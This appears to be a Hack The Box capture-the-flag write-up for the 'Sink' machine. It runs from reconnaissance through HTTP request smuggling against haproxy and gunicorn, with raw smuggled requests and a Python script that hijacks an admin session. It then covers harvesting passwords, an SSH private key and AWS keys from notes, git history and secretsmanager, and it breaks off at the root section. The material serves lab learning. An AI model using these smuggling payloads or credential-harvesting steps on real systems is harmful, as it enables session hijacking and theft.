# HTB Sink

## PART 1 : INITIAL RECON

### 1.1 MACHINE INFORMATION

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mfagag8d4yY8yveDJY3%2Fuploads%2FVyDFi4DtPLaPIAMbYsZY%2Fimage.png?alt=media\&token=8511ee62-b060-4127-bf08-08afeef0b46e)

### 1.2 NMAP SCAN

```shell-session
$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -Pn -T4 -v 10.10.10.225

  PORT      STATE    SERVICE
  22/tcp    open     ssh
  3000/tcp  open     ppp
  5000/tcp  open     upnp

$ nmap -oN nmap-tcp -p 22,3000,5000 -sC -sV -v 10.10.10.225

  PORT     STATE SERVICE VERSION
  22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
  |   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
  |_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
  3000/tcp open  ppp?
  | fingerprint-strings:
  |   GenericLines, Help:
  |     HTTP/1.1 400 Bad Request
  |     Content-Type: text/plain; charset=utf-8
  |     Connection: close
  |     Request
  |   GetRequest:
  |     HTTP/1.0 200 OK
  |     Content-Type: text/html; charset=UTF-8
  |     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
  |     Set-Cookie: i_like_gitea=40763612537a2fd4; Path=/; HttpOnly
  |     Set-Cookie: _csrf=sSdj6NIEq9zZwLKWHIf2zioCJzQ6MTYxODA3MjI5ODUxMDE3ODY1NA; Path=/; Expires=Sun, 11 Apr 2021 16:31:38 GMT; HttpOnly
  |     X-Frame-Options: SAMEORIGIN
  |     Date: Sat, 10 Apr 2021 16:31:38 GMT
  |     <!DOCTYPE html>
  |     <html lang="en-US" class="theme-">
  |     <head data-suburl="">
  |     <meta charset="utf-8">
  |     <meta name="viewport" content="width=device-width, initial-scale=1">
  |     <meta http-equiv="x-ua-compatible" content="ie=edge">
  |     <title> Gitea: Git with a cup of tea </title>
  |     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
  |     <meta name="theme-color" content="#6cc644">
  |     <meta name="author" content="Gitea - Git with a cup of tea" />
  |     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
  |   HTTPOptions:
  |     HTTP/1.0 404 Not Found
  |     Content-Type: text/html; charset=UTF-8
  |     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
  |     Set-Cookie: i_like_gitea=009014c3b2d4e2d9; Path=/; HttpOnly
  |     Set-Cookie: _csrf=fe5c5svRDDMllearHCwpoZFZJds6MTYxODA3MjMwNDQyMjM4NDk1MQ; Path=/; Expires=Sun, 11 Apr 2021 16:31:44 GMT; HttpOnly
  |     X-Frame-Options: SAMEORIGIN
  |     Date: Sat, 10 Apr 2021 16:31:44 GMT
  |     <!DOCTYPE html>
  |     <html lang="en-US" class="theme-">
  |     <head data-suburl="">
  |     <meta charset="utf-8">
  |     <meta name="viewport" content="width=device-width, initial-scale=1">
  |     <meta http-equiv="x-ua-compatible" content="ie=edge">
  |     <title>Page Not Found - Gitea: Git with a cup of tea </title>
  |     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
  |     <meta name="theme-color" content="#6cc644">
  |     <meta name="author" content="Gitea - Git with a cup of tea" />
  |_    <meta name="description" content="Gitea (Git with a c
  5000/tcp open  http    Gunicorn 20.0.0
  | http-methods:
  |_  Supported Methods: POST OPTIONS HEAD GET
  |_http-server-header: gunicorn/20.0.0
  |_http-title: Sink Devops
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## PART 2 : INFORMATION GATHERING

### 2.1 TCP PORT 22 (OpenSSH)

```shell-session
$ ssh -l test 10.10.10.225

  test@10.10.10.225's password:
  Permission denied, please try again.
  test@10.10.10.225's password:
  Permission denied, please try again.
  test@10.10.10.225's password:
  test@10.10.10.225: Permission denied (publickey,password).
```

The SSH client supports either publickey or password authentication for regular users.

### 2.2 TCP PORT 3000 (HTTP)

A **Gitea** page opens up when you access the service via a web browser:

![](https://lh6.googleusercontent.com/JgzT-rlQuAneTwJpMGAa4pjexXzCTtaAU10qCfbCv-HY-t1yA2hIGqgUiL5GYH3TridGZYIzPZm-_U11EGFvSSaYcMZxoAeoFFSxv4jbVKAUr8XEeMgz_CBPJJrDUg2IGuSa2SeG=s0)

There are no public repositories in the **Explore** > **Repositories** section but a list of accounts were revealed under the **Explore** > **Users** as well as the group, **Sink\_Solutions**, under **Explore** > **Organizations**.

![](https://lh6.googleusercontent.com/jhTwB0nVVuL6doKxz3Nqo_vkXdry6IpSpfIS5S1Ej3gdGhqAh5MH0yPuO_oplLay3dFc225AMIE6l1zCUfcTS4H7flgEP2roFHqGlI6_txDKi7q5NztD1v9ehOtjtvGLjMc7R9hd=s0)

The users -- **david**, **marcus**, and **root**, are all members of **Sink\_Solutions**:

![](https://lh4.googleusercontent.com/BejfAhV7VmtfCFEpZyqPRHTqEXN3udb2bvFzNzXayD2emBNSxG1PgwBuX5WTM00aDouBYuayzjCs1AenugjDmdU5FPE3ZNQKWHFuNtDxa7FP9AXmIg8r07OC0SBMMIcVWdkBnDQI=s0)

There is also a login option but there are no user credentials gotten yet nor is there a register option for new users. Finding valid user credentials might be one of the goals in the box during exploitation.

![](https://lh4.googleusercontent.com/ScoTBrXtVZ-SO8QLLmvcFKxVdyeYedDEIUDA9wJbBBY2npUpqFn0ciLMvigrzYtopJosxbPizyQrADtKqL-JJThnkZMI-vptLG12XaUH-UlKkIKwwsGWNqJGrAunkBuPQlViqyYU=s0)

### 2.3 TCP PORT 5000 (HTTP)

Opening the service via a web browser brings you to the following page:

![](https://lh3.googleusercontent.com/b6nztZKL6tkHhweztZIQO7G2Rb1ouSVuCuv5wt37O1luoaiRSw-bwRaQBchIFMjBsketM3Oy77ppgQcBxu_xQz8AY3X1vr-8IHRK7wSCSXMePkamrxbZ-KtmN6H2YYQjZSbpIOrk=s0)

An option to sign up is available where I registered as the user, **jebidiah**:

![](https://lh5.googleusercontent.com/aKr3ieHPu9xG18SO5AREhsi7FVM48b_t17Rm-bUqWIwnH4HiNPhPuF5ibDHUXukAHJ1JN-4ySXP2QIH0BhJX9gYro0e_uAOSMU2-NOif2gwwYGp8CIDUsD5bWFxRXC96fntGkNq2=s0)

And upon successful registration, you will be redirected to the following page:

![](https://lh6.googleusercontent.com/x0b57FaOoMwq4Dim3QXlx01ea9If8PW3-f8UYiOLcYws7olBqyIQmpbNvoksdNsBs1lgW0numoOurTaras40CgU80Ath4K2kSWqUAAE4oYHNAgALC42iYCAQ1ZqcVXylpgyBptPh=s0)

On the same page, posting comments on posts are possible:

![](https://lh4.googleusercontent.com/uwDTd1XrNdfnKHYefyBG3Gjvhm7IoJFpvtRAT91LuLve3alK42f7Z3-hfIegImCvO3kSIBJwVBQi04IhSF4MPY_C610UjQnQJmVakN22BGcCdDPi7hyI59BNbHx9YTuISMUjpneK=s0)

There is also an option to save personal notes within your account on **/notes**:

![](https://lh4.googleusercontent.com/-smon5HEgRubBO04Dg8ctB7rgnoO5ugrUr8fxMwGzi-e6VBlIgjY4TVHQrH6-szFAOx1MPIbOlzdSXsPaeBsSmYpXIYTtY-KRqFWub8vsAUNJ6pUqrBi3fRY0Ds0mrm0sAr6nmq-=s0)

Posting notes will create a table on the same page (/notes):

![](https://lh6.googleusercontent.com/fcWDZMOUX2W2H6yPuMJLHe0rDaYPhyY7P5er5EOF1V2ML48bnAycOi47_r5l941UAMDDRBLuMAo4Og3NVVPKCNVKSzNiYvslioxxVB4g468Hu9DfvqB15504lD_J1VdYibH2esQy=s0)

And when you view the notes listed on the table, you are redirected to a page, **/notes/\<integer>** and in this case, **/notes/17436**:

![](https://lh4.googleusercontent.com/F5ucUWplzyG7aJFnnAxJDftfe_OE8EkoY108uyUCQUi_EzzVhaJ3_2Jzaj62ENKlCqRLdPoYWcu2AbuHyUe0rbp7pw-V6GBdo8-lIuzJaiuLUtOU35EoTEmXqoaTwBoUYoyJpSGN=s0)

How the integer in the link and the numerical ID of the posted notes are hard to correlate and fuzzing seems to be not viable as well:

```shell-session
$ wfuzz -z range,1-2000 -H "Cookie: session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30" --hc=500 http://10.10.10.225:5000/notes/FUZZ

  Target: http://10.10.10.225:5000/notes/FUZZ
  Total requests: 2000

  =====================================================================
  ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                  
  =====================================================================

  000000003:   302        3 L      24 W       219 Ch      "3"                                                                                                                                                                     
  000000001:   302        3 L      24 W       219 Ch      "1"                                                                                                                                                                      
  000000002:   302        3 L      24 W       219 Ch      "2"                                                                                                                                                                          
  Total time: 0
  Processed Requests: 140
  Filtered Requests: 137
  Requests/sec.: 0

   /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 7: Failed to connect to 10.10.10.225 port 5000: Connection refused
```

The server times out when flooded by a large volume of requests. But, the usual response code for the other requests are **500 (Internal Server Error)** and for notes -- **1**, **2**, and **3**, the response was **302 (Redirect)**. Trying to access the previously mentioned notes only redirects you back to **/notes**.

## PART 3 : EXPLOITATION

### 3.2 HTTP REQUEST SMUGGLING

Checking for the response headers of the service running in port 5000:

```shell-session
$ curl -H "Cookie: session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30" -I http://10.10.10.225:5000/notes

  HTTP/1.1 302 FOUND
  Server: gunicorn/20.0.0
  Date: Sun, 25 Apr 2021 06:38:32 GMT
  Content-Type: text/html; charset=utf-8
  Content-Length: 219
  Location: http://10.10.10.225:5000/notes
  Vary: Cookie
  Via: haproxy
  X-Served-By: 3d55d9da52f0
```

While searching for relevant exploits for **gunicorn** with **haproxy**, I came across this [article](https://nathandavison.com/blog/haproxy-http-request-smuggling) by Nathan Davidson and a practical application in a [CTF challenge write up](https://blog.nsogroup.com/defcon-2020-quals-uploooadit/). It highlights a <mark style="color:red;">**HTTP Request Smuggling**</mark> using **CL.TE** (Content-Length -> Transfer-Encoding) vulnerability that leads to <mark style="color:red;">**HTTP Desynchronization**</mark>.

How request smuggling works is that specifying a **Transfer-Encoding** header with a value **chunked** along with **Content-Length** can force the server to interpret the request as multiple requests. The server will interpret the **“0\r\n\r\n”** as the end of the initial request and will then begin to parse the succeeding lines as a new request. The terminator for the smuggled request will be supplied by the server once it parses the second request.

In the following example, when the request passes through **haproxy**, the request will be considered as chunked as well as into the server itself leveraging HTTP Request Smuggling using **TE.TE** (Transfer-Encoding -> Transfer-Encoding):

```http
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 6
Transfer-Encoding: chunked

0

POST /notes HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 9

note=test
```

And after the request was sent, the server responded as well to the smuggled request:

![](https://lh6.googleusercontent.com/1k4NDbYHVgSIlo1siLGIPL4Xxr96YDiNIxfqLPBisBTDNWOsa82c1xdKCQDrR34Mku1gk4pO64bOr_F9CCL5uQHwaKlG19wJ42cl7mL4cdtUpcBQo5yUmarCYq7JztSNCTNahZn8=s0)

### 3.2 HTTP DESYNCHRONIZATION

The goal of the exploit is to force haproxy to interpret the Content-Length instead of the Transfer-Encoding header in the initial request to leverage a CL.TE instead of TE.TE in order to trigger an <mark style="color:red;">**HTTP Desynchronization**</mark> wherein the server will hang while waiting for a request with a “0\r\n\r\n” terminator; therefore, making the intercepted request part of the smuggle request.

To do this, according to the article by Nathan Davidson, write the **Transfer-Encoding** header with **\[\x0b]** or **\[\x0c]** before the value, **chunked**. These characters are short spaces that **haproxy** will not be able to parse. This will enable the attacker to intercept other requests as part of the smuggled request’s body.

```http
GET /home HTTP/1.1
Host: 10.10.10.225:5000
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 283
Transfer-Encoding:
                  chunked

0

POST /notes HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 300

note=ggwp 
```

After the sending the request above then checking the created note, an HTTP request was intercepted and was saved along with the note:

![](https://lh3.googleusercontent.com/U9CR_pTGUK7uvnEBexkPcRgRV3Tyo8g5QpnRQePUI5C6oKZ7F3SZIqn6W_GhDyKQyIaP6dkwiO8jj7Dkhbf2Uw1xdrsJ_Qq-YlllwX9F8M6-ollIfzervtQ7KCBkAkHCFKSbZmWy=s0)

Setting the right **Content-Length** (in this case, 300) for the smuggled request will let you intercept the succeeding request properly. Setting it too long and the request terminator might be interpreted as part of the note.&#x20;

The entire request will look like this once interpreted by the server:

```http
GET /home HTTP/1.1
Host: 10.10.10.225:5000
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 283
Transfer-Encoding:
                  chunked

0

POST /notes HTTP/1.1
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 300

note=ggwp GET /notes/delete/1234 HTTP/1.1 
Host: 127.0.0.1:8080 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept-Encoding: gzip, deflate Accept: */* 
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YIT8fQ.GIZT2JXeOzrLzDmv2sOiCpi_Gds 
X-Forwarded-For: 127.0

0

```

A session cookie was leaked and maybe could now be used to read another user’s saved notes.

```http
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YIT8fQ.GIZT2JXeOzrLzDmv2sOiCpi_Gds 
```

Using the session cookie to access the service reveals that the cookie belongs to <admin@sink.htb> and the notes previously found while fuzzing are now readable.

![](https://lh4.googleusercontent.com/Idan0NEu4PG5Kp0A7Q_QwYb5TUUPJv2FCV3k4PYe07lVKOmaa5_9bchZ_eqK9Bgw9Yg0XLlX6Axa19H9dGQkVqY-ove9nqRSSdZVST-zFxJvoIHtkyYU9gbhuiUXxiHDbmJh1s74=s0)

The exploit for triggering the HTTP Desync was automated using this python script:

```python
import socket

headers = ""
headers += "Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions\r\n"

smuggle = "POST /notes HTTP/1.1\r\n"
smuggle += headers
smuggle += "Content-Length: 300\r\n"
smuggle += "\r\n"
smuggle += "note=ggwp "

payload = "A"
chunk = ""
#chunk += "{}\r\n".format(len(payload))
#chunk += "{}\r\n".format(payload)
chunk += "0\r\n\r\n"

request = "GET /home HTTP/1.1\r\n"
request += headers
request += "Content-Length: {}\r\n".format(len(smuggle) + len(chunk))
request += "Transfer-Encoding:\x0bchunked\r\n"
request += "\r\n"
request += chunk
request += smuggle
print(request)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.225" , 5000))
s.sendall(request.encode())

print("\n=============\n")

res = s.recv(4096)
print(res.split("<!DOCTYPE")[0])

s.close()
```

Now, viewing the notes saved in the admin user account, credentials for various services are leaked.:

```
# http://10.10.10.225:5000/notes/1
Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz

# http://10.10.10.225:5000/notes/2
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3

# http://10.10.10.225:5000/notes/3
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
```

There is a root user for the Gitea service, maybe this is the credentials for the user given that it is for code.sink.htb.

## PART 4 : USER SHELL (marcus)

### 4.1 EC2 INFORMATION

Logging in using the credentials, **`root:FaH@3L>Z3})zzfQ3`**, the following repositories become available:

![](https://lh4.googleusercontent.com/55BHbvIRW398P1_H6F2rr2tCXwImzhBPrybG9KBr5oPCAiroKG098oMc4G7M3-ite-hNTGH5KsrGom3fTTXYrfiUrzLp6iVqegIo1AFt-Q1-Zm1Vc8ZfJQ_uBU44y1hEirPOeT0p=s0)

The **Key\_Management** repo has been archived and upon viewing, there has been 8/9 commits by **marcus**:&#x20;

![](https://lh5.googleusercontent.com/Ou1WhZuw6w_FgqzhU2T8wPQyHVA_dWPbrcwNSP-idHDwSlbGUgd09OfALiYcIqhYY-_-T16w1hXpYVsnM_YBBItxTl7I2sWWdEfxDTBorZ3feSAoD7X8iW6cbIBnz7qtWBmrJngM=s0)

The commit history highly suggests deployments in AWS. The commit with the message, “**Adding EC2 Key Management Structure**”, seems promising. And in there, an SSH private key is added to the repository as well as various configurations for an EC2 Client.

![](https://lh4.googleusercontent.com/YxCLra4OYbZ5SXkMAAXf2H9Qzx_8Tn1xXEUDBXWMc_p29GPhDWGdPnVY-ai2fCUsgE87nxdsKtCzMOipwlHND18Wf_ixAG-ukxgkcxOtNMadLa5Don7y0VpjJcMeYk4TuXPRTUTH=s0)

The **dev\_keys** file:

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

There seems to be an EC2 instance deployed in the region, **eu**, and could be reached via **http\[://]127.0.0.1:4566** based on the **ec2.php** file.

```php
[..omitted..]

$ec2Client = new Aws\Ec2\Ec2Client([
    'region' => 'eu',
    'version' => '2020-12-21',
    'profile' => 'default',
    'endpoint' => 'http://127.0.0.1:4566'
]);

[..omitted..]
```

### 4.2 SSH SESSION

As the git commit was done by the user, marcus, this must be his own private key. Saving the key into a file and using it to login via SSH:

```shell-session
$ chmod 400 id_rsa

$ ssh -i id_rsa -l marcus 10.10.10.225
```

The login was successful:

```shell-session
marcus@sink:~$ id

  uid=1001(marcus) gid=1001(marcus) groups=1001(marcus)

marcus@sink:~$ ls -l

  total 4
  -r-------- 1 marcus marcus 33 Apr 25 05:21 user.txt

marcus@sink:~$ cat /etc/passwd | grep sh$

  root:x:0:0:root:/root:/bin/bash
  gitlab-psql:x:994:995::/var/opt/gitlab/postgresql:/bin/sh
  gitlab-prometheus:x:993:994::/var/opt/gitlab/prometheus:/bin/sh
  marcus:x:1001:1001:,,,:/home/marcus:/bin/bash
  david:x:1000:1000:,,,:/home/david:/bin/bash
  git:x:115:123:Git Version Control,,,:/home/git:/bin/bash

marcus@sink:~$ ls -l /home/david

  total 4
  drwxr-x--- 3 david david 4096 Dec  2 12:28 Projects
```

There seems to be another user, **david**, inside the machine. And his home directory seems to be readable. There is a directory, **`Projects`**, however that is protected. This might be interesting.

## PART 5 : PIVOT (marcus -> david)

### 5.1 AWS CONFIGURE

Checking to see if port 4566 is listening inside the machine:

```shell-session
marcus@sink:~$ netstat -plnt | grep “4566”

  tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN      -
```

And when you check the AWS running services’ health using the endpoint URL, **http\[://]127.0.0.1:4566**:

```shell-session
marcus@sink:~$ curl http://127.0.0.1:4566/health

  {"services": {"kms": "running", "logs": "running", "secretsmanager": "running"}}
```

There are three services running - **kms**, **logs**, and **secretsmanager**. In order to access these services via the aws-cli, we need an **AWS Access Key ID** and an **AWS Secret Access Key**. Looking back into the repositories in **Gitea**, there was a **Log\_Management** repo and given that a “**logs**” service is running, there might be something interesting there.

![](https://lh4.googleusercontent.com/Y8flWMvHYLo-WASpuuw4LaDmLhuUU4d0AeswUdhi1z9BRQ9DcwYZpzKtA0HEfzMEvZQ16cudsEDpFiItinPdlWB0nE8MnN8JVE86j4harPbKR_sreWxec1_faUhuT_hFqRFJDWNN=s0)

In the last commit, “**Preparing for prod**”, the **AWS Access Key ID** and an **AWS Secret Access Key** were deleted from the **create\_logs.php** file:

![](https://lh4.googleusercontent.com/-6gf3NZozDqCdQDrT6EVenhkAN8sg_2RcC6B2j2brNHcRhayWSKQzag3zKNUsKmYYOblKjwTQX3Atig3FnMvyCYgC4O6yPF9-7H9S7cpxauS1CyOIcq535PKOrAFm-hVEPKA_dek=s0)

Which gives us the following:

```
AWS Access Key ID    : AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key: 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
```

We can now run **`aws configure`** in order to access the running services:

```shell-session
marcus@sink:~$ aws configure

  AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
  AWS Secret Access Key [None]: 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
  Default region name [None]: eu
  Default output format [None]:
```

### 5.2 SECRETSMANAGER

Enumerating the **secretsmanager** service to see if there are anything interesting:

```shell-session
marcus@sink:~$ aws secretsmanager list-secrets --endpoint-url http://127.0.0.1:4566

  {
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-ePSxN",
            "Name": "Jenkins Login",
            "Description": "Master Server to manage release cycle 1",
            [..omitted..]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-inxLk",
            "Name": "Sink Panel",
            "Description": "A panel to manage the resources in the devnode",
            [..omitted..]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-dgnlR",
            "Name": "Jira Support",
            "Description": "Manage customer issues",
            [..omitted..]
            }
        }
    ]
  }
```

There were three secrets available in the **secretsmanager** service. Extracting their respective values:

```shell-session
marcus@sink:~$ aws secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-cPCXi" --endpoint-url http://127.0.0.1:4566

  {
    [..omitted..]
    "SecretString": "{\"username\":\"john@sink.htb\",\"password\":\"R);\\)ShS99mZ~8j\"}",
    [..omitted..]
  }

marcus@sink:~$ aws secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-MZKWb" --endpoint-url http://127.0.0.1:4566

  {
    [..omitted..]
    "SecretString": "{\"username\":\"albert@sink.htb\",\"password\":\"Welcome123!\"}",
    [..omitted..]
  }

marcus@sink:~$ aws secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-dgnlR" --endpoint-url http://127.0.0.1:4566

  {
    [..omitted..]
    "SecretString": "{\"username\":\"david@sink.htb\",\"password\":\"EALB=bcC=`a7f2#k\"}",
    [..omitted..]
  }
```

Credentials from three users were leaked from the **secretsmanager** service. More importantly, one of them was for the user, **david** (**``david:EALB=bcC=`a7f2#k``**).

```shell-session
marcus@sink:~$ su david
  
  Password: EALB=bcC=`a7f2#k

david@sink:/home/marcus$ id

  uid=1000(david) gid=1000(david) groups=1000(david)
```

## PART 6 : PRIVILEGE ESCALATION (david -> root)

### 6.1 PORT FORWARD -- 4566

